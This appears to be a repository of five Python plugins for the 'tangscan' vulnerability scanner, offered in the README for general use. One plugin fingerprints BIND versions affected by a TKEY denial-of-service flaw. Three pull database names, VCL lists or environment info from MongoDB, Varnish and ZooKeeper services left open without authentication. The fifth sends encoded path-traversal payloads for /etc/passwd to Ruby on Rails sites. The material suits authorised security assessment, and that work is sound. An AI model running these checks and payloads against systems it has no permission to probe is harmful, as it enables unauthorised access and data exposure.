├── README.md ├── bind_tkey.py ├── mongodb_unauth.py ├── ruby_disclosure.py ├── varnish_unauth.py └── zookeeper_unauth.py /README.md: -------------------------------------------------------------------------------- 1 | # tangscan扫描器插件 2 | 以前给tangscan写过的扫描器插件,都是命中率较高的插件,希望对大家有用 3 | -------------------------------------------------------------------------------- /bind_tkey.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | """ 6 | 7 | from __future__ import print_function, absolute_import 8 | 9 | import subprocess 10 | from modules.exploit import TSExploit 11 | 12 | 13 | 14 | __all__ = ['TangScan'] 15 | 16 | 17 | class TangScan(TSExploit): 18 | def __init__(self): 19 | super(self.__class__, self).__init__() 20 | self.info = { 21 | "name": "bind 畸形tkey漏洞,可以远程导致DNS拒绝服务", 22 | "product": "bind", 23 | "product_version": "9.1.0 -> 9.8.x, 9.9.0->9.9.7-P1, 9.10.0->9.10.2-P2", 24 | "desc": "bind 畸形tkey漏洞,可以远程导致DNS拒绝服务", 25 | "license": self.license.TS, 26 | "author": "PyNerd", 27 | "ref": [ 28 | {self.ref.url: "http://drops.wooyun.org/运维安全/123123"} 29 | ], 30 | "type": self.type.patch, 31 | "severity": self.severity.high, 32 | "privileged": False, 33 | "disclosure_date": "2010-01-01", 34 | "create_date": "2014-12-25" 35 | } 36 | 37 | self.register_option({ 38 | "host": { 39 | "default": "", 40 | "required": True, 41 | "choices": [], 42 | "convert": self.convert.str_field, 43 | "desc": ''' 44 | 目标主机 45 | ''' 46 | }, 47 | "port": { 48 | "default": 53, 49 | "required": False, 50 | "choices": [], 51 | "convert": self.convert.int_field, 52 | "desc": ''' 53 | 目标端口 54 | ''' 55 | } 56 | }) 57 | 58 | self.register_result({ 59 | "status": False, 60 | "data": { 61 | "dns_info": { 62 | "banner": "" 63 | } 64 | }, 65 | "description": "", 66 | "error": "", 67 | }) 68 | 69 | def verify(self): 70 | version = ['9.1.0','9.1.0b1','9.1.0b2','9.1.0b3','9.1.0rc1', 71 | '9.1.1','9.1.1rc1','9.1.1rc2','9.1.1rc3','9.1.1rc4','9.1.1rc5', 72 | '9.1.1rc6','9.1.1rc7','9.1.2','9.1.2rc1','9.1.3-P2','9.1.3-P3', 73 | '9.1.3','9.1.3rc1','9.1.3rc2','9.1.3rc3','9.2.0','9.2.0a1','9.2.0a2', 74 | '9.2.0a3','9.2.0b1','9.2.0b2','9.2.0rc1','9.2.0rc2','9.2.0rc3','9.2.0rc4', 75 | '9.2.0rc5','9.2.0rc6','9.2.0rc7','9.2.0rc7','9.2.0rc8','9.2.0rc9','9.2.0rc10', 76 | '9.2.1','9.2.1rc1','9.2.1rc2','9.2.2-P2','9.2.2-P3','9.2.2','9.2.2rc1','9.2.3', 77 | '9.2.3rc1','9.2.3rc2','9.2.3rc3','9.2.3rc4','9.2.4','9.2.4rc2','9.2.4rc3','9.2.4rc4', 78 | '9.2.4rc5','9.2.4rc6','9.2.4rc7','9.2.4rc8','9.2.5','9.2.5beta2','9.2.5rc1','9.2.6-P1', 79 | '9.2.6-P2','9.2.6','9.2.6b1','9.2.6b2','9.2.6rc1','9.2.7','9.2.7b1','9.2.7rc1','9.2.7rc2', 80 | '9.2.7rc3','9.2.8-P1','9.2.8','9.2.9','9.2.9b1','9.2.9rc1','9.3.0','9.3.0beta2','9.3.0beta3', 81 | '9.3.0beta4','9.3.0rc1','9.3.0rc2','9.3.0rc3','9.3.0rc4','9.3.1','9.3.1beta2','9.3.1rc1','9.3.2-P1', 82 | '9.3.2-P2','9.3.2','9.3.2b1','9.3.2rc1','9.3.3','9.3.3b1','9.3.3rc1','9.3.3rc2','9.3.3rc3','9.3.4-P1', 83 | '9.3.4','9.3.5-P1','9.3.5-P2-W1','9.3.5-P2-W2','9.3.5-P2','9.3.5','9.3.5b1','9.3.5rc1','9.3.5rc2', 84 | '9.3.6-P1','9.3.6','9.3.6b1','9.3.6rc1','9.4-ESV-R1','9.4-ESV-R2','9.4-ESV-R3','9.4-ESV-R4-P1','9.4-ESV-R5', 85 | '9.4-ESV-R5b1','9.4-ESV-R5rc1','9.4-ESV','9.4-ESVb1','9.4.0','9.4.0a5','9.4.0a6','9.4.0b1','9.4.0b2','9.4.0b3', 86 | '9.4.0b4','9.4.0rc1','9.4.0rc2','9.4.1-P1','9.4.1','9.4.2-P1','9.4.2-P2-W1','9.4.2-P2-W2','9.4.2-P2','9.4.2', 87 | '9.4.2b1','9.4.2rc1','9.4.2rc2','9.4.3-P1','9.4.3-P2','9.4.3-P3','9.4.3-P4','9.4.3-P5','9.4.3','9.4.3b1','9.4.3b2', 88 | '9.4.3b3','9.4.3rc1','9.4.3rc1','9.5.0-P1','9.5.0-P2-W1','9.5.0-P2-W2','9.5.0-P2','9.5.0','9.5.0a5','9.5.0a6','9.5.0a7', 89 | '9.5.0b1','9.5.0b2','9.5.0b3','9.5.0rc1','9.5.1-P1','9.5.1-P2','9.5.1-P3','9.5.1','9.5.1b1','9.5.1b2','9.5.1b3', 90 | '9.5.1rc1','9.5.1rc2','9.5.2-P1','9.5.2-P2','9.5.2-P3','9.5.2-P4','9.5.2','9.5.2b1','9.5.2rc1','9.5.3b1', 91 | '9.5.3rc1','9.6-ESV-R1','9.6-ESV-R2','9.6-ESV-R3','9.6-ESV-R4-P1','9.6-ESV-R4-P3','9.6-ESV-R4','9.6-ESV-R5-P1', 92 | '9.6-ESV-R5','9.6-ESV-R5b1','9.6-ESV-R5rc1','9.6-ESV-R6','9.6-ESV-R6b1','9.6-ESV-R6rc1','9.6-ESV-R6rc2','9.6-ESV-R7-P1', 93 | '9.6-ESV-R7-P2','9.6-ESV-R7-P3','9.6-ESV-R7-P4','9.6-ESV-R7','9.6-ESV-R8','9.6-ESV-R8b1','9.6-ESV-R8rc1','9.6-ESV-R9-P1', 94 | '9.6-ESV-R9','9.6-ESV-R9b1','9.6-ESV-R9b2','9.6-ESV-R9rc1','9.6-ESV-R9rc2','9.6-ESV-R10-P1','9.6-ESV-R10-P2', 95 | '9.6-ESV-R10','9.6-ESV-R10b1','9.6-ESV-R10rc1','9.6-ESV-R10rc2','9.6-ESV-R11-W1','9.6-ESV-R11','9.6-ESV-R11b1', 96 | '9.6-ESV-R11rc1','9.6-ESV-R11rc2','9.6-ESV','9.6.0-P1','9.6.0','9.6.0a1','9.6.0b1','9.6.0rc1','9.6.0rc2', 97 | '9.6.1-P1','9.6.1-P2','9.6.1-P3','9.6.1','9.6.1b1','9.6.1rc1','9.6.2-P1','9.6.2-P2','9.6.2-P3', 98 | '9.6.2','9.6.2b1','9.6.2rc1','9.6.3','9.6.3b1','9.6.3rc1','9.7.0-P1','9.7.0-P2','9.7.0','9.7.0a1','9.7.0a2', 99 | '9.7.0a3','9.7.0b1','9.7.0b2','9.7.0b3','9.7.0rc1','9.7.0rc2','9.7.1-P1','9.7.1-P2','9.7.1','9.7.1b1', 100 | '9.7.1rc1','9.7.2-P1','9.7.2-P2','9.7.2-P3','9.7.2','9.7.2b1','9.7.2rc1','9.7.3-P1','9.7.3-P3','9.7.3', 101 | '9.7.3b1','9.7.3rc1','9.7.4-P1','9.7.4','9.7.4b1','9.7.4rc1','9.7.5','9.7.5b1','9.7.5rc1','9.7.5rc2', 102 | '9.7.6-P1','9.7.6-P2','9.7.6-P3','9.7.6-P4','9.7.6','9.7.7','9.7.7b1','9.7.7rc1','9.8.0-P1','9.8.0-P2', 103 | '9.8.0-P4','9.8.0','9.8.0a1','9.8.0b1','9.8.0rc1','9.8.1-P1','9.8.1','9.8.1b1','9.8.1b2','9.8.1b3','9.8.1rc1', 104 | '9.8.2','9.8.2b1','9.8.2rc1','9.8.2rc2','9.8.3-P1','9.8.3-P2','9.8.3-P3','9.8.3-P4','9.8.3','9.8.4-P1', 105 | '9.8.4-P2','9.8.4','9.8.4b1','9.8.4rc1','9.8.5-P1','9.8.5-P2','9.8.5','9.8.5b1','9.8.5b2','9.8.5rc1','9.8.5rc2', 106 | '9.8.6-P1','9.8.6-P2','9.8.6','9.8.6b1','9.8.6rc1','9.8.6rc2','9.8.7-P1','9.8.7-W1','9.8.7','9.8.7b1','9.8.7rc1', 107 | '9.8.7rc2','9.8.8','9.8.8b1','9.8.8b2','9.8.8rc1','9.8.8rc2','9.9.0','9.9.0a1','9.9.0a2','9.9.0a3','9.9.0b1','9.9.0b2','9.9.0rc1','9.9.0rc2','9.9.0rc3', 108 | '9.9.0rc4','9.9.1-P1','9.9.1-P2','9.9.1-P3','9.9.1-P4','9.9.1','9.9.2-P1','9.9.2-P2','9.9.2','9.9.2b1','9.9.2rc1','9.9.3-P1','9.9.3-P2','9.9.3','9.9.3b1', 109 | '9.9.3b2','9.9.3rc1','9.9.3rc2','9.9.4-P1','9.9.4-P2','9.9.4','9.9.4b1','9.9.4rc1','9.9.4rc2','9.9.5-P1','9.9.5-W1','9.9.5','9.9.5b1', 110 | '9.9.5rc1','9.9.5rc2','9.9.6-P1','9.9.6-P2','9.9.6','9.9.6b1','9.9.6b2','9.9.6rc1','9.9.6rc2','9.9.7-P1', 111 | '9.10.0','9.10.0a1','9.10.0a2','9.10.0b1','9.10.0b2','9.10.0rc1','9.10.0rc2','9.10.1-P1','9.10.1-P2','9.10.1','9.10.1b1', 112 | '9.10.1b2','9.10.1rc1','9.10.1rc2','9.10.2-P1','9.10.2-P2','9.3.6-P1-RedHat-9.3.6-4.P1.el5','9.8.2rc1-RedHat-9.8.2-0.17.rc1.el6_4.6'] 113 | 114 | host = self.option.host 115 | 116 | try: 117 | banner = subprocess.Popen(['dig','@'+ host,'txt','version.bind','chaos','+short'], stdout=subprocess.PIPE).communicate()[0] 118 | banner = banner.replace('"','').strip('\r\n') 119 | if banner in version: 120 | self.result.status = True 121 | self.result.result = banner 122 | self.result.description = "目标 {host} 的 bind 版本号: {banner}".format( 123 | host=self.option.host, 124 | banner=banner 125 | ) 126 | except Exception, e: 127 | self.result.error = "域名解析发生错误: {error}".format(error=str(e)) 128 | return 129 | 130 | 131 | def exploit(self): 132 | self.verify() 133 | 134 | 135 | if __name__ == '__main__': 136 | from modules.main import main 137 | main(TangScan()) 138 | -------------------------------------------------------------------------------- /mongodb_unauth.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | """ 6 | 7 | from __future__ import print_function, absolute_import 8 | 9 | import pymongo 10 | from modules.exploit import TSExploit 11 | 12 | 13 | __all__ = ['TangScan'] 14 | 15 | 16 | class TangScan(TSExploit): 17 | def __init__(self): 18 | super(self.__class__, self).__init__() 19 | self.info = { 20 | "name": "mongodb 未授权访问", 21 | "product": "mongodb", 22 | "product_version": "all", 23 | "desc": """ 24 | mongodb 未授权访问, 可能导致敏感数据泄漏 25 | """, 26 | "license": self.license.TS, 27 | "author": ["wooyun"], 28 | "ref": [ 29 | {self.ref.url: "http://drops.wooyun.org/运维安全/2470"} 30 | ], 31 | "type": self.type.misconfiguration, 32 | "severity": self.severity.medium, 33 | "privileged": False, 34 | "disclosure_date": "2010-01-01", 35 | "create_date": "2014-12-25" 36 | } 37 | 38 | self.register_option({ 39 | "host": { 40 | "default": "", 41 | "required": True, 42 | "choices": [], 43 | "convert": self.convert.str_field, 44 | "desc": """ 45 | 目标主机 46 | """ 47 | }, 48 | "port": { 49 | "default": 27017, 50 | "required": False, 51 | "choices": [], 52 | "convert": self.convert.int_field, 53 | "desc": """ 54 | 目标端口 55 | """ 56 | } 57 | }) 58 | 59 | self.register_result({ 60 | "status": False, 61 | "data": { 62 | "db_info": { 63 | "db_name": "" 64 | } 65 | }, 66 | "description": "", 67 | "error": "", 68 | }) 69 | 70 | def verify(self): 71 | host = self.option.host 72 | port = self.option.port 73 | 74 | try: 75 | conn = pymongo.MongoClient(host=host, port=port) 76 | db_names = conn.database_names() 77 | except Exception, e: 78 | self.result.error = "连接发生错误: {error}".format(error=str(e)) 79 | return 80 | 81 | self.result.status = True 82 | self.result.data.db_info.db_name = str(db_names) 83 | self.result.description = "目标 {host} 的 mongodb 可以未授权访问, 数据库名: {db_names}".format( 84 | host=self.option.host, 85 | db_names=str(db_names) 86 | ) 87 | 88 | def exploit(self): 89 | self.verify() 90 | 91 | 92 | if __name__ == '__main__': 93 | from modules.main import main 94 | main(TangScan()) 95 | -------------------------------------------------------------------------------- /ruby_disclosure.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | import requests 4 | import random 5 | import string 6 | import hashlib 7 | from bs4 import BeautifulSoup 8 | from modules.exploit import TSExploit 9 | 10 | payload1='%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd' 11 | payload2='%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwdX' 12 | 13 | random_url = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for _ in range(12)) 14 | 15 | seed = "6cc3545f1d476b4b4e9f0785b4811be5" 16 | 17 | 18 | 19 | class TangScan(TSExploit): 20 | """ 21 | 类名必须是TangScan,而且需要继承于TSExploit 22 | 23 | """ 24 | def __init__(self): 25 | super(self.__class__, self).__init__() 26 | self.info = { 27 | "name": "Ruby On Rails 文件暴露漏洞", # 该POC的名称 28 | "product": "Ruby On Rails", # 该POC所针对的应用名称, 严格按照 tangscan 主页上的进行填写 29 | "product_version": ">= 3.0.0", # 应用的版本号 30 | "desc": ''' 31 | Arbitrary file existence disclosure in Action Pack''', # 该POC的描述 32 | "license": self.license.TS, # POC的版权信息 33 | "author": "PyNerd", # 编写POC者 34 | "ref": [ 35 | {self.ref.url: "https://groups.google.com/forum/#!topic/rubyonrails-security/23fiuwb1NBA"} # 引用的url 36 | ], 37 | "type": self.type.info_leak, # 漏洞类型 38 | "severity": self.severity.medium, # 漏洞等级 39 | "privileged": False, # 是否需要登录 40 | "disclosure_date": "2014-09-17", # 漏洞公开时间 41 | "create_date": "2014-09-17", # POC 创建时间 42 | } 43 | 44 | self.register_option({ 45 | "url": { # POC 的参数 url 46 | "default": "", # 参数的默认值 47 | "required": True, # 参数是否必须 48 | "choices": [], # 参数的可选值 49 | "convert": self.convert.url_field, # 参数的转换函数 50 | "desc": "" # 参数的描述 51 | } 52 | }) 53 | 54 | self.register_result({ 55 | "status": False, # POC 的返回状态 56 | "data": { 57 | "page_info": { 58 | "content": "" 59 | } 60 | }, # POC 的返回数据 61 | "description": "", # POC 返回对人类良好的信息 62 | "error": "" # POC 执行失败的原因 63 | }) 64 | 65 | def verify(self): 66 | 67 | target = self.option.url 68 | 69 | request = requests.get(target + random_url) #random url 70 | 71 | request1 = requests.get(target + payload1) # win payload 72 | 73 | request2 = requests.get(target + payload2) 74 | 75 | #print request1.content 76 | 77 | page_hash = hashlib.md5(request.content) 78 | 79 | #print page_hash.hexdigest() 80 | 81 | 82 | if page_hash.hexdigest() == seed and "File not found:" in request1.content: 83 | soup = BeautifulSoup(request.content,"html.parser") 84 | #print request1.content 85 | items = soup.findAll('h1') 86 | 87 | for item in items: 88 | content = item.text 89 | self.result.status = True 90 | self.result.result = content 91 | self.result.description = "目标 {target} 页面返回{content1}".format( 92 | target=self.option.url, 93 | content1=request1.content) 94 | 95 | if page_hash.hexdigest() == seed and "File not found:" not in request2.content: 96 | soup = BeautifulSoup(request2.content,"html.parser") 97 | #print request1.content 98 | items = soup.findAll('h1') 99 | 100 | for item in items: 101 | content = item.text 102 | self.result.status = True 103 | self.result.result = content 104 | self.result.description = "目标 {target} 页面返回{content1}".format( 105 | target=self.option.url, 106 | content1=content) 107 | 108 | 109 | else: 110 | self.result.error = "不存在漏洞" 111 | 112 | 113 | def exploit(self): 114 | self.verify() 115 | 116 | 117 | if __name__ == '__main__': 118 | from modules.main import main 119 | main(TangScan()) 120 | -------------------------------------------------------------------------------- /varnish_unauth.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | """ 6 | 7 | from __future__ import print_function, absolute_import 8 | 9 | from varnish import VarnishManager 10 | 11 | from modules.exploit import TSExploit 12 | 13 | 14 | __all__ = ['TangScan'] 15 | 16 | 17 | class TangScan(TSExploit): 18 | def __init__(self): 19 | super(self.__class__, self).__init__() 20 | self.info = { 21 | "name": "varnish 未授权访问", 22 | "product": "varnish", 23 | "product_version": "all", 24 | "desc": """ 25 | varnish 未授权访问, 可能导致内网信息泄漏 26 | """, 27 | "license": self.license.TS, 28 | "author": ["PyNerd"], 29 | "ref": [ 30 | {self.ref.url: "http://www.wooyun.org/bugs/wooyun-2012-012338"} 31 | ], 32 | "type": self.type.misconfiguration, 33 | "severity": self.severity.high, 34 | "privileged": False, 35 | "disclosure_date": "2010-01-01", 36 | "create_date": "2014-12-25" 37 | } 38 | 39 | self.register_option({ 40 | "host": { 41 | "default": "", 42 | "required": True, 43 | "choices": [], 44 | "convert": self.convert.str_field, 45 | "desc": """ 46 | 目标主机 47 | """ 48 | }, 49 | "port": { 50 | "default": 27017, 51 | "required": False, 52 | "choices": [], 53 | "convert": self.convert.int_field, 54 | "desc": """ 55 | 目标端口 56 | """ 57 | } 58 | }) 59 | 60 | self.register_result({ 61 | "status": False, 62 | "data": { 63 | "db_info": { 64 | "db_name": "" 65 | } 66 | }, 67 | "description": "", 68 | "error": "", 69 | }) 70 | 71 | def verify(self): 72 | host = self.option.host 73 | port = self.option.port 74 | thost = host + ":" + str(port) 75 | try: 76 | conn = VarnishManager((thost,)) 77 | vcl_list = conn.run('vcl.list') 78 | except Exception, e: 79 | self.result.error = "连接发生错误: {error}".format(error=str(e)) 80 | return 81 | 82 | self.result.status = True 83 | self.result.result = str(vcl_list) 84 | self.result.description = "目标 {host} 的 varnish 可以未授权访问, vcl_list: {vcl_list}".format( 85 | host=self.option.host, 86 | vcl_list=str(vcl_list) 87 | ) 88 | 89 | def exploit(self): 90 | self.verify() 91 | 92 | 93 | if __name__ == '__main__': 94 | from modules.main import main 95 | main(TangScan()) 96 | -------------------------------------------------------------------------------- /zookeeper_unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | """ 6 | 7 | from __future__ import print_function, absolute_import 8 | from kazoo.client import KazooClient 9 | from modules.exploit import TSExploit 10 | 11 | __all__ = ['Tangscan'] 12 | 13 | class TangScan(TSExploit): 14 | def __init__(self): 15 | super(self.__class__, self).__init__() 16 | self.info = { 17 | "name": "zookeeper 未授权访问漏洞", 18 | "product": "zookeeper", 19 | "product_version": "all", 20 | "desc": """ 21 | zookeeper 未授权访问, 可能导致敏感数据泄漏 22 | """, 23 | "license": self.license.TS, 24 | "author": "PyNerd", 25 | "ref": [ 26 | {self.ref.url: ""} 27 | ], 28 | "type": self.type.misconfiguration, 29 | "severity": self.severity.medium, 30 | "privileged": False, 31 | "disclosure_date": "2010-01-01", 32 | "create_date": "2015-12-1" 33 | } 34 | 35 | self.register_option({ 36 | "host": { 37 | "default": "", 38 | "required": True, 39 | "choices": [], 40 | "convert": self.convert.str_field, 41 | "desc": """ 42 | 目标主机 43 | """ 44 | }, 45 | "port": { 46 | "default": 2181, 47 | "required": False, 48 | "choices": [], 49 | "convert": self.convert.int_field, 50 | "desc": """ 51 | 目标端口 52 | """ 53 | } 54 | }) 55 | 56 | self.register_result({ 57 | "status": False, 58 | "data": { 59 | "db_info": { 60 | "db_name": "" 61 | } 62 | }, 63 | "description": "", 64 | "error": "", 65 | }) 66 | 67 | def verify(self): 68 | host = self.option.host 69 | port = self.option.port 70 | thost = host + ":" + str(port) 71 | try: 72 | conn = KazooClient(hosts =thost) 73 | conn.start() 74 | sysinfo = conn.command('envi') 75 | except Exception, e: 76 | self.result.error = "连接发生错误: {error}".format(error=str(e)) 77 | return 78 | 79 | self.result.status = True 80 | self.result.result = str(sysinfo) 81 | self.result.description = "目标 {host} 的 zookeeper 可以未授权访问, 主机名信息: {sysinfo}".format( 82 | host=self.option.host, 83 | sysinfo=str(sysinfo) 84 | ) 85 | 86 | def exploit(self): 87 | self.verify() 88 | 89 | 90 | if __name__ == '__main__': 91 | from modules.main import main 92 | main(TangScan()) 93 | --------------------------------------------------------------------------------